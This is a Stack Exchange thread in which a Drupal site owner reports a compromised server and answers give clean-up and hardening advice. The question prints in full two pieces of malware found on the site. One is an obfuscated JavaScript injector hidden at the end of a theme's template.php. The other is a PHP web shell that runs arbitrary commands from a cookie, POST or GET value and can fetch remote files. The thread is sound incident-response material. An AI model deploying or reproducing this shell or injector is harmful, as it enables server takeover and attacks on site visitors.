2

When I tried logging in to my Drupal site this morning, I got an error.

When I took a look at the log files, I found a error about the template.php file used by the theme currently set:

[Sat Sep 14 11:53:15 2013] [warn] mod_fcgid: stderr: PHP Parse error: syntax error, unexpected '<' in (site directory)/web/themes/seven/template.php on line 144
[Sat Sep 14 11:53:20 2013] [warn] mod_fcgid: stderr: PHP Parse error: syntax error, unexpected '<' in (site directory)/web/themes/seven/template.php on line 144, referer: (site url)

I found malicious code right at the bottom of my template.php file, which contains:

<?
#a9a007#
                                                                                                                                                                                                                                                          if(empty($tokk)) { $tokk = " <script type=\"text/javascript\" language=\"javascript\"> jtgx=\"spl\"+\"i\"+\"t\";xttq=window;joobzh=\"0\"+\"x\";hzmer=(5-3-1);try{--(document[\"body\"])}catch(ztf){wnwsjy=false;try{}catch(sfckzc){wnwsjy=21;}if(1){suha=\"17:5d:6c:65:5a:6b:60:66:65:17:58:65:5c:6b:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:58:65:5c:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:58:65:5c:6b:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:61:6c:6a:6b:63:58:6c:5e:5f:60:65:5e:25:5a:66:64:25:58:6c:26:6a:5a:69:60:67:6b:6a:26:5b:6b:5b:25:67:5f:67:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2f:2b:2a:27:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2f:2b:2a:27:67:6f:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2f:2b:2a:27:67:6f:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2f:2b:2a:27:1e:32:4:1:17:58:65:5c:6b:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2f:2b:2a:27:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:58:65:5c:6b:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:58:65:5c:6b:53:1e:17:5a:63:58:6a:6a:34:53:1e:58:65:5c:6b:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:58:65:5c:6b:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:58:65:5c:6b:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:58:65:5c:6b:27:30:1f:20:32:4:1:74:4:1:74\"[jtgx](\":\");}xttq=suha;tpjm=[];for(xrufi=22-20-2;-xrufi+1425!=0;xrufi+=1){max=xrufi;if((0x19==031))tpjm+=String.fromCharCode(eval(joobzh+xttq[1*max])+0xa-hzmer);}cspnn=eval;cspnn(tpjm)}</script> "; echo $tokk; }
#/a9a007#
?>

Then when I took a closer look at the error log files, I found the following entry:

[Mon Sep 09 09:44:10 2013] [warn] [client 150.217.155.58] mod_fcgid: stderr: PHP Notice: Undefined index: XERATUTA in (site directory)/web/profiles/4nJDt3MC.php on line 72

As you can see, it is right in the profiles directory and it contains the following:

<?php
//curl -v --cookie "XERATUTA=w" URL
//adjust system variables
if(!@isset($_SERVER)){$_COOKIE=&$HTTP_COOKIE_VARS;$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;}
//die with error
function x_die($m){@header('HTTP/1.1 500 '.$m);@die();}
//check if we can exec
define('has_passthru',@function_exists('passthru'));
define('has_system',@function_exists('system'));
define('has_shell_exec',@function_exists('shell_exec'));
define('has_popen',@function_exists('popen'));
define('has_proc_open',@function_exists('proc_open'));
define('has_exec',@function_exists('exec'));
define('can_exec',(has_passthru||has_system||has_shell_exec||has_popen||has_proc_open||has_exec));
if(!can_exec){x_die('can not exec: no functions available');}
//check if we can config
define('has_ini_get',@function_exists('ini_get'));
define('has_ini_get_all',@function_exists('ini_get_all'));
define('can_config',(has_ini_get||has_ini_get_all));
if(!can_config){x_die('can not config');}
//get config value
function x_ini_get($n){if(has_ini_get){return(@ini_get($n));}elseif(has_ini_get_all){$h=@ini_get_all();return($h[$n]['local_value']);}}
// check safe mode
if(x_ini_get('safe_mode')){x_die('can not exec: safe mode active');}
//smart exec helpers
function x_passthru($c){@passthru($c);}
function x_system($c){@system($c);}
function x_shell_exec($c){echo @shell_exec($c);}
function x_popen($c){$o;if(($f=@popen($c,'r'))){while(!@feof($f)){$o.=@fgets($f);}@pclose($f);}echo $o;}
function x_proc_open($c){$o;if(@is_resource($p=@proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$f))){@fclose($f[0]);while(!@feof($f[1])){$o.=@fgets($f[1]);}@fclose($f[1]);@proc_close($p);}echo $o;}
function x_exec($c){$o;@exec($c,$o);echo @implode("\n",$o);}
//do smart fetch
function x_superfetch($a,$p,$r,$l) {
        if($s=@fsockopen($a,$p)) {
                if($f=@fopen($l,"wb")) {
                        @fwrite($s,"GET ".$r." HTTP/1.0\r\n\r\n");
                        while(!@feof($s)) {
                                $b=@fread($s,8192);
                                @fwrite($f,$b);
                        }
                        @fclose($f);
                        echo "OK\n";
                }
                @fclose($s);
        }
}
//do smart exec
function x_smart_exec($c) {
        if($c==="which superfetch 1> /dev/null 2> /dev/null && echo OK") {
                echo "OK\n";
        }
        elseif(@strstr($c,"superfetch")) {
                $a=@explode(' ',$c);
                x_superfetch($a[1],$a[2],$a[3],$a[4]);
        }
        elseif(has_passthru){x_passthru($c);}
        elseif(has_system){x_system($c);}
        elseif(has_shell_exec){x_shell_exec($c);}
        elseif(has_popen){x_popen($c);}
        elseif(has_proc_open){x_proc_open($c);}
        elseif(has_exec){x_exec($c);}
}
//go
$n='XERATUTA';
$c=$_COOKIE[$n];
if(@empty($c)){$c=$_POST[$n];}
if(@empty($c)){$c=$_GET[$n];}
if(@get_magic_quotes_gpc()){$c=stripslashes($c);}
x_smart_exec($c);
?>

I've directly disabled my site, but I really have no clue about what to do next. I removed the 4nJDt3MC file and cleared the template.php file from the malicious code which was injected in there.

I could activate my site again, but this will surely ask for another attempt to hack my site.

Has it to do with Drupal, or is my server hacked?

Now my server seems to have been abused for spam sending, all through the Drupal site account.

  • 2
    Nothing we can help with here I'm afraid, we'd need access to the server and even then it would be a matter of performing a full audit on your site and server. The only advice I can give is to hire a professional server admin to perform those tasks, unless you're 100% comfortable doing it yourself – Clive Sep 14 '13 at 11:57
  • 2
    From what you posted, it doesn't look like this has anything to do with Drupal directly – whatever dropped this file onto your server found a way to get write access to folders that shouldn't be writable. Make sure everything except for your writable files dir (ex sites/default/files) is set to 755 and owned by your login account and not the www-data user (or whatever your server runs as). I would also run through all of your directories and files and see what else has been modified recently. Also, make a backup of your database and files first should you destroy anything you may need later. – Charlie Schliesser Sep 14 '13 at 12:21
  • Oh, and change all of your passwords, too (login / ssh / ftp / mysql, etc). Beyond all of that sort of emergency recovery stuff, you've not discovered the exploit that was used to gain writable access to your machine. Either hire someone or check with your hosting company's support to see if they can help pinpoint where the original exploit is. – Charlie Schliesser Sep 14 '13 at 12:23
  • 1
    @CharlieS All good advice - throw in a bit about making sure core/contrib modules have all security updates applied and that would make a very good answer – Clive Sep 14 '13 at 12:24
5

From what you posted, it doesn't look like this has anything to do with Drupal directly – whatever dropped this file onto your server found a way to get write access to folders that shouldn't be writable. This could have been done through a vulnerability in Drupal or a contrib module, but it's just as likely that the vulnerability lies somewhere else on the server.

  1. First, I would make a local backup of your files and database in case you need anything in the future that subsequent steps might erase.
  2. Make sure everything except for your writable files dir (e.g. files or sites/default/files or whatever you have set) is set to 755 and owned by your login account and not the www-data user (or whatever your server runs as). Look through all of your directories and files and see what else has been modified recently. If you're using version control such as git to manage your codebase, you could use that to help you compare the differences.
  3. Install the hacked module to see if any of your core/contrib modules have changed.
  4. I don't have an easy idea for the database, but you may just need to manually run through all of the content on your site to look for any changes that have been made. You might even compare a current database dump with a backup that you have and run a diff against them. There are a few tools that may help with this.
  5. Update Drupal core and all contrib modules to the latest stable versions.

Beyond all of that sort of emergency recovery stuff, you've not discovered the exploit that was used to gain writable access to your machine. Either hire someone or check with your hosting company's support to see if they can help pinpoint where the original exploit is.

Also, considering the malicious file was in your theme folder and template.php was messed with, the exploit may be in there. Are you doing anything with user input in your theme?

| improve this answer | |
  • Your advice of 755 permission will not work if PHP handler is set to DSO/mod_php. – AgA Sep 15 '13 at 9:39
  • I've just installed the hacked module, it seems all the default themes like seven/bartik/garland do have the injected codes. – Arjan Sep 15 '13 at 15:56
  • Assuming you haven't hacked core or contrib modules, you can simply replace everything with fresh downloads from drupal.org, clean up your own theme by hand, and then continue along. – Charlie Schliesser Sep 15 '13 at 16:27
  • When i replaced the files that where infected, the spam that has been send from my server kept going on. Later on, i did enable mod_security, which stopped the attack completely. Now i need to tweak mod_security, because it doesn't like drupal. But it seems its succesfully stopped the attack. Yet still the question remains, how did the website got exploited? Its definatly has to do something with the website, cause my other websites have not been hacked. – Arjan Sep 16 '13 at 11:10
  • At the end of sep 16, i did enable mod_security which i turned off for being able to run drupal without unforseen errors which it will produce. After turning it on, there where no more succesfull attacks. Which brings up the question again, is there a security leak inside drupal which no one is aware of yet? – Arjan Sep 28 '13 at 11:11
1
  1. Backup the site
  2. Check if any file or folder was changed in sites/
  3. Proceed like when upgrading, but remove everything, por a clean branch of Drupal in place and then your sites folder
  4. Do not use ftp or insecure protocols
| improve this answer | |
0

This question has been asked Sep 14, the exploit that allowed the hacker to get in your website was announced as of Oct 15. You should update your drupal to at least drupal 7.32. Or apply the patch mentioned here: https://www.drupal.org/PSA-2014-003

| improve this answer | |
  • How does that make sense? The question was asked well over a before SA-CORE-2014-005 was discovered. – Letharion Nov 3 '14 at 9:48
  • September 14, 2013. Over a year ago :) – rooby Nov 3 '14 at 9:51
  • Oh, haven't noticed the year. The bug was there long time ago anyway, maybe he wasn't hacked this way, but anyone with this version is advised to patch their website. – Blanq Nov 3 '14 at 10:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.